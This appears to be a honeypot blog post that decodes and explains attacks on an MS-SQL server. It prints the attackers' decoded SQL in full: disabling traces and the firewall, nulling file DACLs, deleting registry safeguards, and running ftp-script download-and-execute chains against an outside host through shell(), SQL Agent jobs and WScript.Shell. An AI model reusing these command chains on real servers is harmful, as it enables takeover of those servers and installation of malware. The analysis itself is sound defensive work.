What do you do when you notice MS-SQL connections topping the list of top ten destination ports hitting your honeynet? You install an MS-SQL server, give the sa user a week password, and see what happens of course (don’t try this at home).
Overview
After doing just about everything that I.T. security best practice suggests that you don’t do with a database server, I received a number of MS-SQL connections to my new MS-SQL Express Server honeypot. ‘Smashing’ I thought to myself, ‘this will give me something to impress the girls with’, as I started downloading a libpcap capture file from my Honeywall box.
After using my parsetds.py file to extract the MS-SQL login credentials and SQL commands, I noticed that there seemed to be two types of attack. One type seemed to think that I had forgotten my credentials, needed help to guess them, and proceeded to brute force user names and passwords. The other type seemed to think that I needed some MS-Windows PE file(s) installing on my MS-SQL server.
The SQL commands output by parsetds.py didn’t tell me this straight away though, as you can see:
declare @a varchar(8000);set @a=0x6462636320...;exec(@a); --password
Lot’s of hex values in the range 0x20 – 0x7f spells printable ASCII characters, so let’s decode them back to a human readable string with my unhex.awk script (not available in stores). I’ve added newlines for presentation.
declare @a varchar(8000); set @a=0x"dbcc dropextendedproc ('sp_OACreate');"; exec(@a); --password
That makes it a bit easier to read. A Bourne shell for loop will let you quickly decode all of the SQL output from parsetds.py to human readable files.
So, what is going on? Firstly, let’s look at the brute force login attempts.
Brute Force Login Attempts
There are a set of attacks that attempt to login as the sa user without a password (which technically aren’t brute force login attempts), and a set which attempts to login with multiple user name and password combinations. The list of user names, and the number of times each user name was seen, is shown here (the last line of which indicates a blank user name):
14805 sa 265 kisadminnew1 261 hbv7 201 KISAdmin 187 bwsa 170 users 118 sysdba 71 kisadmin 20 ps 20 gaibian 20 admin 18 unierp 18 neterp 18 dsanc 18 dazone 18 bizbox 2
The passwords were all Unicode strings, and one thing struck me as I was scrolling through them was that they all begin with the same byte, 0xa5. I suspected that I could possibly find the character set or type of characters that that code point range encodes, and from that determine a language/region for the passwords.
After a quick read up on Unicode encoding types/code points and the Basic Multilingual Plane, which covers Unicode code points from 0x0000 – 0xffff, I found that the range of code points between 0xa500 and 0xa63f is used by the Vai language which ‘is one of the two most successful indigenous scripts in West Africa’.
Could these brute force login attacks against MS-SQL server be targeting West African servers? It would be interesting to create an account that matches one of the attack’s login attempts to see what the attack does if it manages to gain access.
Other MS-SQL Commands
The remaining MS-SQL attacks were pretty much all the same, at least the ones that did anything were. I noticed some that were subtly different, but they issued the same commands over and over again, and didn’t actually do much other than turn tracing off (as far as I could tell). It could be that the attack wasn’t receiving the correct response from the server, or that it was targeting a different version of the server, I don’t know.
I should probably confess at this point, that I am not, nor have I ever been, a proper database administrator. My knowledge of SQL is minimal. I believe that I have managed to work out what these attacks are attempting to do by having an ‘educated guess’ at what the statements are doing, and attempting to find some documentation which backs up my educated guesses. If you know better, then feel free to post a (polite) comment correcting my error(s).
The remaining attacks that continued on, attempt to download a file (or files) to the MS-SQL server, in a variety of ways. Just about all of the commands in the attacks were disguised by hex encoding the commands in to a string and then using the MS-SQL exec() function to execute the string of commands. Pretty much like the example above.
The general format of this method is:
declare @a varchar(8000);set @a=0x<stringofhexdigits>;exec(@a); --password
I’ve ran all of these strings through my unhex.awk script and for brevity, will only show the decoded command strings which are executed by the exec(@a) statement. All of the following MS-SQL command strings were hex encoded as per the above line, unless noted otherwise. I’ve also inserted newlines to make the statements more readable.
exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'default trace enabled',0; reconfigure; declare @i int,@size int; set @i=1; select @size = max(traceid) from ::fn_trace_getinfo(default); while @i <= @size begin exec sp_trace_setstatus @i,0; set @i=@i+1; end;
This collection of commands first enables advanced options, which includes the default trace enabled option, and turns off the default trace. As Microsoft’s MSDN documentation puts it, ‘The default trace functionality provides a rich, persistent log of activity and changes primarily related to the configuration options.’. That will explain why the attack wants to turn it off.
It then finds the maximum value of TraceId from the trace information table and enters a while loop to stop each of the traces.
This collection of commands was typically issued immediately after connecting, and then again after every other block of commands in the attack. This is presumably in case an administrator or trigger (does MS-SQL have triggers?) turned tracing back on. Again, for brevity, I won’t bother including the repeated block above.
Next up, the attack adds a number of extended procedures contained in an external DLL, odsole70.dll. As far as I can tell, odsole70.dll is a DLL which implements the OLE Automation stored procedures. OLE is Object Linking and Embedding.
dbcc dropextendedproc ('sp_OACreate'); dbcc addextendedproc ('sp_OACreate','odsole70.dll'); dbcc dropextendedproc ('sp_OAMethod'); dbcc addextendedproc ('sp_OAMethod','odsole70.dll'); dbcc dropextendedproc ('sp_OADestroy'); dbcc addextendedproc ('sp_OADestroy','odsole70.dll'); dbcc dropextendedproc ('sp_OASetProperty'); dbcc addextendedproc ('sp_OASetProperty','odsole70.dll');
Following this, the attack makes what looks like an invalid call to the sp_OACreate() function. I’m guessing that it is an invalid call because according to the MSDN documentation for sp_OACreate(), it requires at least two arguments. My guess would be that this call is to check that the dbcc addextendedproc() call actually created the extended procedure.
exec sp_OACreate;
Now things start to get a bit more interesting as we introduce another component/technology in to the mix — Web Based Enterprise Management. Or, in this case, Web Based Enterprise Method-for-undoing-security-permissions. The SQL comments were added by myself — the attacker wasn’t kind enough to include them in the attack.
-- Declare variables used to reference the objects DECLARE @objLocator int,@objWmi int,@objPermiss int,@objFull int; -- Create a WbemScripting.SWbemLocator object EXEC sp_OACreate 'WbemScripting.SWbemLocator',@objLocator OUTPUT; -- Use the SWbemLocator object's ConnectServer() method to connect to the -- local WMI server. The connection will be to the 'root\cimv2' namespace EXEC sp_OAMethod @objLocator, 'ConnectServer',@objWmi OUTPUT,'.','root\cimv2'; -- Retrieve an SWbemObject that represents the requested object -- In this case, a Win32_LogicalFileSecuritySetting object for 'ftp.exe' EXEC sp_OAMethod @objWmi, 'Get',@objPermiss OUTPUT, 'Win32_LogicalFileSecuritySetting.Path=''ftp.exe'''; -- Create an empty SecurityDescriptor EXEC sp_OAMethod @objWmi,'Get',@objFull OUTPUT,'Win32_SecurityDescriptor'; -- Set the SecurityDescriptor's ControlFlags property to -- '4' (SE_DACL_PRESENT) EXEC sp_OASetProperty @objFull,'ControlFlags',4; -- Set the file security setting object's security descriptor to the new -- SecurityDescriptor object EXEC sp_OAMethod @objPermiss,'SetSecurityDescriptor',NULL,@objFull;
This block of code is creating a new Win32_SecurityDescriptor, setting its ControlFlags propery to 4 (SE_DACL_PRESENT), and leaving its DACL (Discretionary Access Control List) property unset. Given that a ControlFlags setting of SE_DACL_PRESENT and a NULL DACL gives everyone access to the file, I’d say that the DACL property is initialised to NULL when the object is created, given that allowing everyone access to the file (ftp.exe in this case) is a likely intent of the attack.
The attack then repeats this block of commands for the file command.com (the MS-DOS command interpreter, or shell basically), before calling the xp_servicecontrol() function in xpstar.dll to stop the sharedaccess service. The SharedAccess service in my Windows Registry has a DisplayName of Windows Firewall/Internet Connection Sharing (ICS). This appears to be stopping the Windows Firewall which is probably a wise move on its part, given what it is going to attempt a tad later.
dbcc dropextendedproc ('xp_servicecontrol'); dbcc addextendedproc ('xp_servicecontrol','xpstar.dll'); exec xp_servicecontrol 'stop','sharedaccess';
Following this, it modifies the DACLs (using the commands shown above) and calls the DllRegisterServer() function, of both scrrun.dll and wshom.ocx. The DllRegisterServer() function is a COM server initialisation function that creates the required registry entries such that the COM server can be found and used by COM clients. scrrun.dll and wshom.ocx implement the Windows Scripting Host runtime environment, which is about to be used to download some files.
declare @sp_upftp int, @f int, @t int, @ret int; exec sp_oacreate 'scripting.filesystemobject', @sp_upftp out; exec sp_oamethod @sp_upftp, 'createtextfile', @f out, 'xp1.exe', 1; exec @ret = sp_oamethod @f, 'writeline', NULL,'open 555.4.29.3'; exec @ret = sp_oamethod @f, 'writeline', NULL,'123'; exec @ret = sp_oamethod @f, 'writeline', NULL,'123'; exec @ret = sp_oamethod @f, 'writeline', NULL,'get 1.exe boot1.exe'; exec @ret = sp_oamethod @f, 'writeline', NULL,'bye';
These commands create a text file named, strangely enough, xp1.exe, and write five lines to it. If you used to use the Internet back in the days before graphical web browsers and other graphical Internet applications, you may recognise the five lines being lines that are given to the ftp command to connect to a server (open 555.4.29.3), login (123 & 123), download a file (get 1.exe boot1.exe), and exit (bye).
The same block of commands is then used to write the same five lines to the files c:\RECYCLER\xp1.exe and c:\xp1.exe. Then the attack commands confirm our thoughts about the five lines being ftp command input.
DECLARE @objShell INT,@objProcess INT,@objID INT; EXEC sp_OACreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@objShell OUTPUT; EXEC sp_OAMethod @objShell,'Exec',@objProcess OUTPUT,'ftp -s:xp1.exe'; EXEC sp_OAMethod @objProcess,'ProcessID',@objID OUTPUT; SELECT @objID;
The 72C24DD5-D70A-438B-8A42-98424B88AFB8 class id maps to Windows Script Host Shell Object in my registry (HKCR\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\(Default)).
The -s: command line option of the ftp command specifies a script file from which to read ftp commands. So ftp -s:xp1.exe is basically the equivalent of running ftp < xp1.exe.
dbcc dropextendedproc ('xp_regwrite'); dbcc addextendedproc ('xp_regwrite','xpstar.dll'); exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
These two commands redefine the xp_regwrite() extended procedure to be the one implemented by xpstar.dll, and then use it to disable the sandbox mode for non-Access applications, by creating/modifying the registry value HKLM\SoftWare\Microsoft\Jet\4.0\Engines\SandBoxMode and setting its value to 1. See Microsoft’s knowledge base article for information on the Jet Engine’s sandbox mode.
Next, the attack enables Ad Hoc Distribution Queries which allow it to use openrowset() to use the Jet Engine to query ias.mdb. This, together with the disabling of the sandbox mode, allows the attack to issue a select shell() command to create and run an ftp script.
Now remove some registry keys that might be used to stop the attack from succeeding. The Image File Execution Options keys can be used to run applications/commands in a debugger, or to start another application in place of the intended application.
The AutoRun value specifies a command to be automatically started by the command processor (command.com / cmd.exe) when it is started. This will be similar to the UNIX Bourne shell script running .profile and bash running .profile and/or .bashrc scripts on UNIX boxes.
dbcc dropextendedproc ('xp_regdeletekey'); dbcc addextendedproc ('xp_regdeletekey','xpstar.dll'); EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Image File Execution Options\CMD.EXE'; EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Image File Execution Options\ftp.EXE'; EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Command Processor','AutoRun','REG_SZ','';
Now that the attack has disabled some of the security features, it can get up to some more mischief.
select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb', 'select shell(" cmd /c echo open 555.4.29.3>sh1.exe& echo 123>>sh1.exe& echo 123>>sh1.exe& echo get 1.exe s1.exe>>sh1.exe& echo bye>>sh1.exe& ftp -s:sh1.exe& if EXIST s1.exe (start s1.exe)& del sh1.exe& exit ")');
The newline characters were kindly donated by newlines-r-us to improve readability. This SQL command uses the shell() SQL function to run the command interpreter (cmd.exe) which in turn executes the given string of good old MS-DOS commands. The MS-DOS commands create an ftp input script which is then used with ftp -s: to download the file 1.exe from the remote server and save it as s1.exe. After the ftp command exits, s1.exe is started, if it exists. The ftp input script is then deleted and the shell (command interpreter) is told to exit.
These shenanigans are repeated with the ftp input script being written to c:\RECYCLER\sh1.exe and c:\sh1.exe.
Start the SQL Server Agent service so that it can be used to run some jobs that the attack will create, then create a job to run the command interpreter (cmd.exe) to create an ftp input script and use ftp to download an executable file, before running it:
dbcc dropextendedproc ('xp_servicecontrol');dbcc addextendedproc ('xp_servicecontrol','xpstar.dll');exec xp_servicecontrol 'start','SQLSERVERAGENT'; use msdb; exec sp_delete_job null,'vb'; exec sp_add_job 'vb'; exec sp_add_jobstep null,'vb',Null,'1','CMDEXEC',' cmd /c echo open 555.4.29.3>zy1.exe& echo 123>>zy1.exe& echo 123>>zy1.exe& echo get 1.exe st1.exe>>zy1.exe& echo bye>>zy1.exe& ftp -s:zy1.exe& if EXIST st1.exe (start st1.exe)& del zy1.exe& exit '; exec sp_add_jobserver Null,'vb';exec sp_start_job 'vb';
This vb job is then deleted and recreated with the same MS-DOS commands that use an ftp input script file c:\RECYCLER\zy1.exe and then again using c:\zy1.exe.
Only now does the attack attempt to run the boot1.exe file that it downloaded previously, using a Windows Script Host Shell Object:
DECLARE @objShell INT,@objProcess INT,@objID INT; EXEC sp_OACreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@objShell OUTPUT; EXEC sp_OAMethod @objShell,'Exec',@objProcess OUTPUT,'boot1.exe'; EXEC sp_OAMethod @objProcess,'ProcessID',@objID OUTPUT; SELECT @objID;
The last two lines obtain and return the ProcessID property from the objProcess object created as a result of running the Windows Script Host Shell Object’s Exec method.
Again, this block of code is repeated to run c:\RECYCLER\boot1.exe and c:\boot1.exe.
The attack then repeats the block of SQL instructions to drop and recreate the sp_OACreate(), sp_OAMethod(), sp_OADestroy(), and sp_OASetProperty() stored procedures, and repeats the to call sp_OACreate() without any arguments.
The wbemdisp.dll COM server is then loaded and initialised (by calling the DLLs exported DllRegisterServer() function), and the Ole Automation Procedures are enabled using sp_configure():
DROP PROCEDURE DllRegisterServer; DBCC AddExtendedProc ('DllRegisterServer','wbem\wbemdisp.dll'); EXEC DllRegisterServer; DROP PROCEDURE DllRegisterServer; exec sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
It then creates and uses a WbemScripting object to connect to the local WBEM server and nullify (remove) the DACL of the file C:\Progra~1\Common~1\System\ado\msado15.dll. Progra~1 is the 8.3 (short) file name usually (every time I’ve seen it) given to the Program Files folder. Common~1 is the 8.3 file name usually given to the Common Files folder.
After modifying the DACL, it registers the COM server implemented by msado15.dll by calling its DllRegisterServer() function.
Things then start to look a tad different in that the next command in the attack isn’t hex encoded but rather appears in the attack as it is shown here:
DECLARE @ObjectToken INT; EXEC sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}', @ObjectToken OUTPUT; EXEC sp_OASetProperty @ObjectToken, 'Type', 1; EXEC sp_OAMethod @ObjectToken, 'Open'; EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x"MZ[deleted]"; EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'hex1.exe', 2; EXEC sp_OAMethod @ObjectToken, 'Close'; EXEC sp_OADestroy @ObjectToken;
The last line has been truncated because it contains all the bytes of a Windows PE file. The class id in the sp_OACreate() call belongs to ADODB.Stream (according to my registry). The sp_OASetProperty() call is used to set the stream’s Type property to 1, being adTypeBinary. The 2 argument passed to the SaveToFile() method corresponds to adSaveCreateOverWrite, which, as its name suggests, will overwrite the file if it already exists.
Again the attack follows the pattern of creating a file in a number of different locations, and also creates the PE file as c:\RECYCLER\hex1.exe and as c:\hex1.exe.
We then see a repeat of some earlier SQL commands which use xp_servicecontrol() to stop the sharedaccess service. It then nullifies (removes) the DACL and initialises the COM server in both scrrun.dll and wshom.ocx, before attempting to run the created hex1.exe files (again repeating the commands for the same file with different paths):
DECLARE @objShell INT,@objProcess INT,@objID INT; EXEC sp_OACreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@objShell OUTPUT; EXEC sp_OAMethod @objShell,'Exec',@objProcess OUTPUT,'hex1.exe'; EXEC sp_OAMethod @objProcess,'ProcessID',@objID OUTPUT; SELECT @objID; DECLARE @objShell INT,@objProcess INT,@objID INT; EXEC sp_OACreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@objShell OUTPUT; EXEC sp_OAMethod @objShell,'Exec',@objProcess OUTPUT, 'c:\RECYCLER\hex1.exe'; EXEC sp_OAMethod @objProcess,'ProcessID',@objID OUTPUT; SELECT @objID; DECLARE @objShell INT,@objProcess INT,@objID INT; EXEC sp_OACreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@objShell OUTPUT; EXEC sp_OAMethod @objShell,'Exec',@objProcess OUTPUT,'c:\hex1.exe'; EXEC sp_OAMethod @objProcess,'ProcessID',@objID OUTPUT; SELECT @objID;
Finally the attack uses the same other two methods, both shown above, to execute the hex1.exe files. They are the select shell() SQL command method using the Jet Engine and the ias.mdb database, and the method of scheduling an SQL job using sp_add_job() commands.
Conclusion
There are two different attacks, one that brute forces user names and passwords, and the other which runs a collection of SQL commands.
Brute force login attacks
The brute force attacks are themselves divided in to two groups. Those that attempt to login as the sa user with a blank password, and those that attempt to login with different user names and passwords from the Vai Unicode code point.
SQL command attacks
The attacks which run SQL commands are pretty much the same as each other, differing mainly by the file names of downloaded files and ftp input scripts, and the IP address/server of the FTP server to which they connect.
Most of the SQL commands include hex encoded SQL commands which are assigned to a string which is then passed to the SQL exec() function.
Modifying security descriptors
These attacks connect to the local WBEM (Web Based Enterprise Management) server, which is implemented by the Windows Management Instrumentation system on Windows hosts, to change the ControlFlags and DACL for several files, to allow everyone access to the files.
Service control
The attacks stop the sharedaccess service, which is responsible for Internet Connection Sharing and Windows Firewall. They also start the SQLSERVERAGENT service to run SQL jobs.
Creating FTP script files and downloading PE files
The attacks use a few methods to create the FTP script files.
- COM Objects
scripting.filesystemobject
Windows Script Host Shell Object - SELECT SHELL() SQL command
The Jet Engine is used to connect to the ias\ias.mdb database and the SELECT SHELL() command is used to create an ftp script, run ftp, and then run the downloaded file before deleting the ftp script. - SQL Agent jobs
The sp_delete_job(), sp_add_job(), sp_add_jobstep(), sp_add_jobserver(), and sp_start_job() stored procedures are used to create an SQL Agent job which creates an ftp script, runs ftp, and then runs the downloaded file before deleting the ftp script.
In the case of the COM Objects, the Windows Scripting Host Object’s Exec() method is used to run the downloaded file.
Creating Windows PE files
These attacks also attempt to directly write a Windows PE file to the filesystem. They use the ADODB.Stream COM object to write the hex encoded binary data directly to a .exe file before using the Windows Scripting Host Object’s Exec() method, the SELECT SHELL() method, and also the SQL Agent job method to run it.
Further analysis
Further analysis would be required to determine if the hex encoded binary file contained in the SQL commands is the same as that downloaded from the attacking host.
It would be interesting to know if the different methods of creating the script files and running the downloaded files were only used because they didn’t appear to be working. That is, if the first attempt to create an ftp script file worked, would the other methods have been attempted?
I understand the Brute Force method…i.e. iterating over username/passwords until they get lucky…but I fail to see how the SQL Command attack works. If they can’t login how can they execute any SQL Commands?
Hi Dan,
This particular attack is relying on being able to guess the root user’s password. How to protect yourself from the cna12.dll MySQL attacks lists the four conditions that need to be met for this particular attack to work.
Speaking about security attacks in general, a number of attacks work by exploiting a vulnerability in a particular application/service. These vulnerabilities often allow the attacker to change the instructions that the victim computer is running, usually resulting in the victim application/service running instructions that are provided by the attacker. You will often see these vulnerabilities described as ‘allowing execution of arbitrary code’. The code that the attacker runs can do anything that the application/service is able to do, as it is running as the application/service. Depending on where in the application/service the vulnerability lies, it may be exploitable before/without authentication.
Say, for example, that the MySQL service had such a vulnerability. If an attacker sent what is often described as a ‘specially crafted request’ (or packet), it could exploit the vulnerability and cause the MySQL server to run instructions/code that the attacker wants it to run. These instructions aren’t MySQL/SQL commands, but are assembly language/machine code instructions.
Such assembly language/machine code instructions have access to the same Windows (operating system) functions that the MySQL server has access to, and as such the exploit can create files, delete files, download and run more malicious software, change registry settings (to automatically start any downloaded malicious software, for instance), and the list goes on.
Musingly,
Karl.
Pingback: Azure Virtual Machines and SQL Server—Mind Your Endpoints | The SQL Herald
Great write-up! Had a production SQL server show failed logins in event viewer today. after searching the most used login ID’s I came across this post. SA, KISADMIN, DJAPPLE, VICE, CHRED1433, all from an originating ip in china. Glad you setup the honeypot because I was REALLY curios to see what sorts of things would happen if the credentials were guessed. 😉
This was really interesting. I searched for some of the commands and came across this virus signature which seems to suggest a lot of antivirus software classify it as a hack tool. I wonder if it is a widely used tool just to drop an exe.
https://malwr.com/analysis/NzQ3OWFiYjNiMWVkNDQ5OGIwYzYxOTYzMTU1ODNlZDU/
Pingback: New(ish) Mirai Spreader Poses New Risks - Securelist